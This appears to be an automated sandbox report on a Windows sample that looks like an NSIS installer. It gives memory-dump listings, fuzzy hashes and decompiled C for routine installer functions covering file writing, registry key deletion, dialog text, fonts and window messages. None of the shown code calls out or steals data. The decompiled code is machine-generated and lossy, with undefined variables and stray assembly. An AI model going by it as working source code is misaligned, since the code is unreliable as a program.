Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: 3624e717fbcf7ea6fd8cb3bfca044f62ca72f15282bbc00cb62a71a2cd90e3ed
Instruction ID: 618675c633d4cc4fa353176bd059bfe03840d53555a4d718e50652829a5d94b1
Opcode Fuzzy Hash: 3624e717fbcf7ea6fd8cb3bfca044f62ca72f15282bbc00cb62a71a2cd90e3ed
Instruction Fuzzy Hash: 4CF01D7050020EABDF206F60DE4ABEA3B78EB00349F00803AFA15A51D0DBBD9559DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00402947, Relevance: 9.1, APIs: 6, Instructions: 86
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00402947(void* __ebx, void* __eflags) {
				void* _t26;
				long _t31;
				void* _t45;
				void* _t49;
				void* _t51;
				void* _t54;
				void* _t55;
				void* _t56;

				_t45 = __ebx;
				 *((intOrPtr*)(_t56 - 0x38)) = 0xfffffd66;
				_t50 = E00402D3E(0xfffffff0);
				 *(_t56 - 0x40) = _t23;
				if(E00405E88(_t50) == 0) {
					E00402D3E(0xffffffed);
				}
				E0040600D(_t50);
				_t26 = E00406032(_t50, 0x40000000, 2);
				 *(_t56 + 8) = _t26;
				if(_t26 != 0xffffffff) {
					_t31 =  *0x42a278;
					 *(_t56 - 0x44) = _t31;
					_t49 = GlobalAlloc(0x40, _t31);
					if(_t49 != _t45) {
						E00403590(_t45);
						E0040357A(_t49,  *(_t56 - 0x44));
						_t54 = GlobalAlloc(0x40,  *(_t56 - 0x28));
						 *(_t56 - 0x10) = _t54;
						if(_t54 != _t45) {
							E00403309(_t47,  *((intOrPtr*)(_t56 - 0x2c)), _t45, _t54,  *(_t56 - 0x28));
							while( *_t54 != _t45) {
								_t47 =  *_t54;
								_t55 = _t54 + 8;
								 *(_t56 - 0x3c) =  *_t54;
								E00405FED( *((intOrPtr*)(_t54 + 4)) + _t49, _t55, _t47);
								_t54 = _t55 +  *(_t56 - 0x3c);
							}
							GlobalFree( *(_t56 - 0x10));
						}
						E004060E4( *(_t56 + 8), _t49,  *(_t56 - 0x44));
						GlobalFree(_t49);
						 *((intOrPtr*)(_t56 - 0x38)) = E00403309(_t47, 0xffffffff,  *(_t56 + 8), _t45, _t45);
					}
					CloseHandle( *(_t56 + 8));
				}
				_t51 = 0xfffffff3;
				if( *((intOrPtr*)(_t56 - 0x38)) < _t45) {
					_t51 = 0xffffffef;
					DeleteFileW( *(_t56 - 0x40));
					 *((intOrPtr*)(_t56 - 4)) = 1;
				}
				_push(_t51);
				E00401423();
				 *0x42a308 =  *0x42a308 +  *((intOrPtr*)(_t56 - 4));
				return 0;
			}

0x00402947
0x00402949
0x00402955
0x00402958
0x00402962
0x00402966
0x00402966
0x0040296c
0x00402979
0x00402981
0x00402984
0x0040298a
0x00402998
0x0040299d
0x004029a1
0x004029a4
0x004029ad
0x004029b9
0x004029bd
0x004029c0
0x004029ca
0x004029e9
0x004029d1
0x004029d6
0x004029de
0x004029e1
0x004029e6
0x004029e6
0x004029f0
0x004029f0
0x004029fd
0x00402a03
0x00402a15
0x00402a15
0x00402a1b
0x00402a1b
0x00402a26
0x00402a27
0x00402a2b
0x00402a2f
0x00402a35
0x00402a35
0x00402a3c
0x004022e9
0x00402bc5
0x00402bd1

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 0040299B
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029B7
GlobalFree.KERNEL32 ref: 004029F0
GlobalFree.KERNEL32 ref: 00402A03
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402A1B
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402A2F

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: d96938230be506bb3ce62f46d8dc11094feca3525b7110c1e5131bc4c1b7a030
Instruction ID: 7dc8c05146b407601171e0863837a653734e4b001a2a5e69b47689ac9694c0d9
Opcode Fuzzy Hash: d96938230be506bb3ce62f46d8dc11094feca3525b7110c1e5131bc4c1b7a030
Instruction Fuzzy Hash: 3121C171C00124BBDF216FA5DE49D9E7E79AF04364F10023AF964762E1CB794D419BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00404D3F, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00404D3F(int _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
				char _v68;
				char _v132;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t23;
				signed int _t24;
				void* _t31;
				void* _t33;
				void* _t34;
				void* _t44;
				signed int _t46;
				signed int _t50;
				signed int _t52;
				signed int _t53;
				signed int _t55;

				_t23 = _a16;
				_t53 = _a12;
				_t44 = 0xffffffdc;
				if(_t23 == 0) {
					_push(0x14);
					_pop(0);
					_t24 = _t53;
					if(_t53 < 0x100000) {
						_push(0xa);
						_pop(0);
						_t44 = 0xffffffdd;
					}
					if(_t53 < 0x400) {
						_t44 = 0xffffffde;
					}
					if(_t53 < 0xffff3333) {
						_t52 = 0x14;
						asm("cdq");
						_t24 = 1 / _t52 + _t53;
					}
					_t25 = _t24 & 0x00ffffff;
					_t55 = _t24 >> 0;
					_t46 = 0xa;
					_t50 = ((_t24 & 0x00ffffff) + _t25 * 4 + (_t24 & 0x00ffffff) + _t25 * 4 >> 0) % _t46;
				} else {
					_t55 = (_t23 << 0x00000020 | _t53) >> 0x14;
					_t50 = 0;
				}
				_t31 = E00406579(_t44, _t50, _t55,  &_v68, 0xffffffdf);
				_t33 = E00406579(_t44, _t50, _t55,  &_v132, _t44);
				_t34 = E00406579(_t44, _t50, 0x423748, 0x423748, _a8);
				wsprintfW(_t34 + lstrlenW(0x423748) * 2, L"%u.%u%s%s", _t55, _t50, _t33, _t31);
				return SetDlgItemTextW( *0x429238, _a4, 0x423748);
			}

0x00404d48
0x00404d4d
0x00404d55
0x00404d56
0x00404d63
0x00404d6b
0x00404d6c
0x00404d6e
0x00404d70
0x00404d72
0x00404d75
0x00404d75
0x00404d7c
0x00404d82
0x00404d82
0x00404d89
0x00404d90
0x00404d93
0x00404d96
0x00404d96
0x00404d9a
0x00404daa
0x00404dac
0x00404daf
0x00404d58
0x00404d58
0x00404d5f
0x00404d5f
0x00404db7
0x00404dc2
0x00404dd8
0x00404de9
0x00404e05

APIs

lstrlenW.KERNEL32(00423748,00423748,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404DE0
wsprintfW.USER32 ref: 00404DE9
SetDlgItemTextW.USER32 ref: 00404DFC

Strings

%u.%u%s%s, xrefs: 00404DCA
H7B, xrefs: 00404DD2

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$H7B
API String ID: 3540041739-107966168
Opcode ID: f073c4526331e437099308c9ea4f4727a83fc85bc9477a72d0d5fe05f0d32628
Instruction ID: 1eef4f6c404c38b42470a280790990b5f635bff36f5ff3debe150acb3f73a003
Opcode Fuzzy Hash: f073c4526331e437099308c9ea4f4727a83fc85bc9477a72d0d5fe05f0d32628
Instruction Fuzzy Hash: 59110873A0412837DB0065ADAC45EDE32989F81374F250237FE26F20D5EA78CD1182E8

Uniqueness

Uniqueness Score: -1.00%

Function 00402E41, Relevance: 7.6, APIs: 5, Instructions: 84
registryCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00402E41(void* __eflags, void* _a4, short* _a8, signed int _a12) {
				void* _v8;
				int _v12;
				short _v536;
				void* _t27;
				signed int _t33;
				intOrPtr* _t35;
				signed int _t45;
				signed int _t46;
				signed int _t47;

				_t46 = _a12;
				_t47 = _t46 & 0x00000300;
				_t45 = _t46 & 0x00000001;
				_t27 = E004063A9(__eflags, _a4, _a8, _t47 | 0x00000009,  &_v8);
				if(_t27 == 0) {
					if((_a12 & 0x00000002) == 0) {
						L3:
						_push(0x105);
						_push( &_v536);
						_push(0);
						while(RegEnumKeyW(_v8, ??, ??, ??) == 0) {
							__eflags = _t45;
							if(__eflags != 0) {
								L10:
								RegCloseKey(_v8);
								return 0x3eb;
							}
							_t33 = E00402E41(__eflags, _v8,  &_v536, _a12);
							__eflags = _t33;
							if(_t33 != 0) {
								break;
							}
							_push(0x105);
							_push( &_v536);
							_push(_t45);
						}
						RegCloseKey(_v8);
						_t35 = E00406931(3);
						if(_t35 != 0) {
							return  *_t35(_a4, _a8, _t47, 0);
						}
						return RegDeleteKeyW(_a4, _a8);
					}
					_v12 = 0;
					if(RegEnumValueW(_v8, 0,  &_v536,  &_v12, 0, 0, 0, 0) != 0x103) {
						goto L10;
					}
					goto L3;
				}
				return _t27;
			}

0x00402e4c
0x00402e55
0x00402e5e
0x00402e6a
0x00402e73
0x00402e7d
0x00402ea2
0x00402ea8
0x00402ead
0x00402eae
0x00402ede
0x00402eb7
0x00402eb9
0x00402f09
0x00402f0c
0x00000000
0x00402f12
0x00402ec8
0x00402ecd
0x00402ecf
0x00000000
0x00000000
0x00402ed7
0x00402edc
0x00402edd
0x00402edd
0x00402eea
0x00402ef2
0x00402ef9
0x00000000
0x00402f22
0x00000000
0x00402f01
0x00402e8d
0x00402ea0
0x00000000
0x00000000
0x00000000
0x00402ea0
0x00402f28

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402E95
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402EE1
RegCloseKey.ADVAPI32(?,?,?), ref: 00402EEA
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F01
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F0C

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: f62ab79c521e370d5556569303502529bbab9984cd7072d733bebeae98d4866a
Instruction ID: 5acf5ff44325b65ef2d3dead3dbb76990f04c91a4d0d8f72c78c18ffef5b4167
Opcode Fuzzy Hash: f62ab79c521e370d5556569303502529bbab9984cd7072d733bebeae98d4866a
Instruction Fuzzy Hash: 05215A71500109BBDF129F90CE89EEF7A7DEB54348F110076B905B11E0E7B48E54AAA8

Uniqueness

Uniqueness Score: -1.00%

Function 00401D81, Relevance: 7.6, APIs: 5, Instructions: 75
windowCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00401D81(void* __ebx, void* __edx) {
				struct HWND__* _t30;
				WCHAR* _t38;
				void* _t48;
				void* _t53;
				signed int _t55;
				signed int _t60;
				long _t63;
				void* _t65;

				_t53 = __ebx;
				if(( *(_t65 - 0x23) & 0x00000001) == 0) {
					_t30 = GetDlgItem( *(_t65 - 8),  *(_t65 - 0x28));
				} else {
					E00402D1C(2);
					 *((intOrPtr*)(__ebp - 0x10)) = __edx;
				}
				_t55 =  *(_t65 - 0x24);
				 *(_t65 + 8) = _t30;
				_t60 = _t55 & 0x00000004;
				 *(_t65 - 0x38) = _t55 & 0x00000003;
				 *(_t65 - 0x18) = _t55 >> 0x1f;
				 *(_t65 - 0x40) = _t55 >> 0x0000001e & 0x00000001;
				if((_t55 & 0x00010000) == 0) {
					_t38 =  *(_t65 - 0x2c) & 0x0000ffff;
				} else {
					_t38 = E00402D3E(0x11);
				}
				 *(_t65 - 0x44) = _t38;
				GetClientRect( *(_t65 + 8), _t65 - 0x60);
				asm("sbb esi, esi");
				_t63 = LoadImageW( ~_t60 &  *0x42a260,  *(_t65 - 0x44),  *(_t65 - 0x38),  *(_t65 - 0x58) *  *(_t65 - 0x18),  *(_t65 - 0x54) *  *(_t65 - 0x40),  *(_t65 - 0x24) & 0x0000fef0);
				_t48 = SendMessageW( *(_t65 + 8), 0x172,  *(_t65 - 0x38), _t63);
				if(_t48 != _t53 &&  *(_t65 - 0x38) == _t53) {
					DeleteObject(_t48);
				}
				if( *((intOrPtr*)(_t65 - 0x30)) >= _t53) {
					_push(_t63);
					E00406483();
				}
				 *0x42a308 =  *0x42a308 +  *((intOrPtr*)(_t65 - 4));
				return 0;
			}

0x00401d81
0x00401d85
0x00401d9a
0x00401d87
0x00401d89
0x00401d8f
0x00401d8f
0x00401da0
0x00401da3
0x00401dad
0x00401db0
0x00401db8
0x00401dc9
0x00401dcc
0x00401dd7
0x00401dce
0x00401dd0
0x00401dd0
0x00401ddb
0x00401de5
0x00401e0c
0x00401e1b
0x00401e29
0x00401e31
0x00401e39
0x00401e39
0x00401e42
0x00401e48
0x00402b08
0x00402b08
0x00402bc5
0x00402bd1

APIs

GetDlgItem.USER32 ref: 00401D9A
GetClientRect.USER32 ref: 00401DE5
LoadImageW.USER32 ref: 00401E15
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E29
DeleteObject.GDI32(00000000), ref: 00401E39

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 657c18a0f69634810084f7808af5fab3a58a396e011c15f602512883127771f4
Instruction ID: def1b01f8fd4f78887aa18ea50614605241407c0d84dd339e733dcfbebc98a92
Opcode Fuzzy Hash: 657c18a0f69634810084f7808af5fab3a58a396e011c15f602512883127771f4
Instruction Fuzzy Hash: 06212672A04119AFCB05CFA4DE45AEEBBB5EF08304F14403AF945F62A0C7389D51DB98

Uniqueness

Uniqueness Score: -1.00%

Function 00401E4E, Relevance: 7.5, APIs: 5, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00401E4E(intOrPtr __edx) {
				void* __edi;
				int _t9;
				signed char _t15;
				struct HFONT__* _t18;
				intOrPtr _t30;
				void* _t31;
				struct HDC__* _t33;
				void* _t35;

				_t30 = __edx;
				_t33 = GetDC( *(_t35 - 8));
				_t9 = E00402D1C(2);
				 *((intOrPtr*)(_t35 - 0x10)) = _t30;
				0x40cdf8->lfHeight =  ~(MulDiv(_t9, GetDeviceCaps(_t33, 0x5a), 0x48));
				ReleaseDC( *(_t35 - 8), _t33);
				 *0x40ce08 = E00402D1C(3);
				_t15 =  *((intOrPtr*)(_t35 - 0x20));
				 *((intOrPtr*)(_t35 - 0x10)) = _t30;
				 *0x40ce0f = 1;
				 *0x40ce0c = _t15 & 0x00000001;
				 *0x40ce0d = _t15 & 0x00000002;
				 *0x40ce0e = _t15 & 0x00000004;
				E00406579(_t9, _t31, _t33, 0x40ce14,  *((intOrPtr*)(_t35 - 0x2c)));
				_t18 = CreateFontIndirectW(0x40cdf8);
				_push(_t18);
				_push(_t31);
				E00406483();
				 *0x42a308 =  *0x42a308 +  *((intOrPtr*)(_t35 - 4));
				return 0;
			}

0x00401e4e
0x00401e59
0x00401e5b
0x00401e68
0x00401e7f
0x00401e84
0x00401e91
0x00401e96
0x00401e9a
0x00401ea5
0x00401eac
0x00401ebe
0x00401ec4
0x00401ec9
0x00401ed3
0x00402630
0x0040156d
0x00402b08
0x00402bc5
0x00402bd1

APIs

GetDC.USER32(?), ref: 00401E51
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E6B
MulDiv.KERNEL32(00000000,00000000), ref: 00401E73
ReleaseDC.USER32 ref: 00401E84
CreateFontIndirectW.GDI32(0040CDF8), ref: 00401ED3

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 94554544311ab2f32d1f9f235813ecd660138e8dc23dd7fc0019dd27f629f36f
Instruction ID: a76e2873b7558907f835798c96529171b27b16ad4d601dd46fbfe91b59f2db27
Opcode Fuzzy Hash: 94554544311ab2f32d1f9f235813ecd660138e8dc23dd7fc0019dd27f629f36f
Instruction Fuzzy Hash: F101D871900250EFEB005BB4EE89B9A3FB0AF15300F24893EF141B71E2C6B904459BED

Uniqueness

Uniqueness Score: -1.00%

Function 00401C43, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401C43(intOrPtr __edx) {
				int _t29;
				long _t30;
				signed int _t32;
				WCHAR* _t35;
				long _t36;
				int _t41;
				signed int _t42;
				int _t46;
				int _t56;
				intOrPtr _t57;
				struct HWND__* _t63;
				void* _t64;

				_t57 = __edx;
				_t29 = E00402D1C(3);
				 *((intOrPtr*)(_t64 - 0x10)) = _t57;
				 *(_t64 - 0x18) = _t29;
				_t30 = E00402D1C(4);
				 *((intOrPtr*)(_t64 - 0x10)) = _t57;
				 *(_t64 + 8) = _t30;
				if(( *(_t64 - 0x1c) & 0x00000001) != 0) {
					 *((intOrPtr*)(__ebp - 0x18)) = E00402D3E(0x33);
				}
				__eflags =  *(_t64 - 0x1c) & 0x00000002;
				if(( *(_t64 - 0x1c) & 0x00000002) != 0) {
					 *(_t64 + 8) = E00402D3E(0x44);
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x34)) - 0x21;
				_push(1);
				if(__eflags != 0) {
					_t61 = E00402D3E();
					_t32 = E00402D3E();
					asm("sbb ecx, ecx");
					asm("sbb eax, eax");
					_t35 =  ~( *_t31) & _t61;
					__eflags = _t35;
					_t36 = FindWindowExW( *(_t64 - 0x18),  *(_t64 + 8), _t35,  ~( *_t32) & _t32);
					goto L10;
				} else {
					_t63 = E00402D1C();
					 *((intOrPtr*)(_t64 - 0x10)) = _t57;
					_t41 = E00402D1C(2);
					 *((intOrPtr*)(_t64 - 0x10)) = _t57;
					_t56 =  *(_t64 - 0x1c) >> 2;
					if(__eflags == 0) {
						_t36 = SendMessageW(_t63, _t41,  *(_t64 - 0x18),  *(_t64 + 8));
						L10:
						 *(_t64 - 0x38) = _t36;
					} else {
						_t42 = SendMessageTimeoutW(_t63, _t41,  *(_t64 - 0x18),  *(_t64 + 8), _t46, _t56, _t64 - 0x38);
						asm("sbb eax, eax");
						 *((intOrPtr*)(_t64 - 4)) =  ~_t42 + 1;
					}
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x30)) - _t46;
				if( *((intOrPtr*)(_t64 - 0x30)) >= _t46) {
					_push( *(_t64 - 0x38));
					E00406483();
				}
				 *0x42a308 =  *0x42a308 +  *((intOrPtr*)(_t64 - 4));
				return 0;
			}

0x00401c43
0x00401c45
0x00401c4c
0x00401c4f
0x00401c52
0x00401c5c
0x00401c60
0x00401c63
0x00401c6c
0x00401c6c
0x00401c6f
0x00401c73
0x00401c7c
0x00401c7c
0x00401c7f
0x00401c83
0x00401c85
0x00401cda
0x00401cdc
0x00401ce7
0x00401cf1
0x00401cf4
0x00401cf4
0x00401cfd
0x00000000
0x00401c87
0x00401c8e
0x00401c90
0x00401c93
0x00401c99
0x00401ca0
0x00401ca3
0x00401ccb
0x00401d03
0x00401d03
0x00401ca5
0x00401cb3
0x00401cbb
0x00401cbe
0x00401cbe
0x00401ca3
0x00401d06
0x00401d09
0x00401d0f
0x00402b08
0x00402b08
0x00402bc5
0x00402bd1

APIs

SendMessageTimeoutW.USER32 ref: 00401CB3
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CCB

Strings

!, xrefs: 00401C7F

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: faab02cff34b921551a1342022214cf29e3e194daab0830cb346dd63cd78f0b5
Instruction ID: 504b766b7349ebce22e5cc184c1b69e4e3709f4fc648736089561923f5a7a9d8
Opcode Fuzzy Hash: faab02cff34b921551a1342022214cf29e3e194daab0830cb346dd63cd78f0b5
Instruction Fuzzy Hash: C221AD7195420AAEEF05AFB4D94AAAE7BB0EF44304F10453EF601B61D1D7B84941CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00405E11, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00405E11(WCHAR* _a4) {
				WCHAR* _t9;

				_t9 = _a4;
				_push( &(_t9[lstrlenW(_t9)]));
				_push(_t9);
				if( *(CharPrevW()) != 0x5c) {
					lstrcatW(_t9, 0x40a014);
				}
				return _t9;
			}

0x00405e12
0x00405e1f
0x00405e20
0x00405e2b
0x00405e33
0x00405e33
0x00405e3b

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004035C5,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 00405E17
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004035C5,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 00405E21
lstrcatW.KERNEL32(?,0040A014), ref: 00405E33

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405E11

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3916508600
Opcode ID: bed06d4f6a82b163f62297ef23baf12e7c7e8c5859eb2f34a161a285e0ec4316
Instruction ID: be8ecf20d8ded769d30575e1df7d92fadfde1fb70814d4249ac81525444b4036
Opcode Fuzzy Hash: bed06d4f6a82b163f62297ef23baf12e7c7e8c5859eb2f34a161a285e0ec4316
Instruction Fuzzy Hash: 4DD0A7311029347AC2117B489C08CDF62ACAE96300341043BF142B30A4C77C5E5287FD

Uniqueness

Uniqueness Score: -1.00%

Function 00403B19, Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403B19() {
				void* _t1;
				void* _t2;
				signed int _t11;

				_t1 =  *0x40a018; // 0x2b4
				if(_t1 != 0xffffffff) {
					CloseHandle(_t1);
					 *0x40a018 =  *0x40a018 | 0xffffffff;
				}
				_t2 =  *0x40a01c; // 0x2ac
				if(_t2 != 0xffffffff) {
					CloseHandle(_t2);
					 *0x40a01c =  *0x40a01c | 0xffffffff;
					_t11 =  *0x40a01c;
				}
				E00403B76();
				return E00405C4E(_t11, L"C:\\Users\\hardz\\AppData\\Local\\Temp\\nsoCA66.tmp", 7);
			}

0x00403b19
0x00403b28
0x00403b2b
0x00403b2d
0x00403b2d
0x00403b34
0x00403b3c
0x00403b3f
0x00403b41
0x00403b41
0x00403b41
0x00403b48
0x00403b5a

APIs

CloseHandle.KERNEL32(000002B4,C:\Users\user\AppData\Local\Temp\,0040394C,00000007,?,00000007,00000009,0000000B), ref: 00403B2B
CloseHandle.KERNEL32(000002AC,C:\Users\user\AppData\Local\Temp\,0040394C,00000007,?,00000007,00000009,0000000B), ref: 00403B3F

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403B1E
C:\Users\user\AppData\Local\Temp\nsoCA66.tmp, xrefs: 00403B4F

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
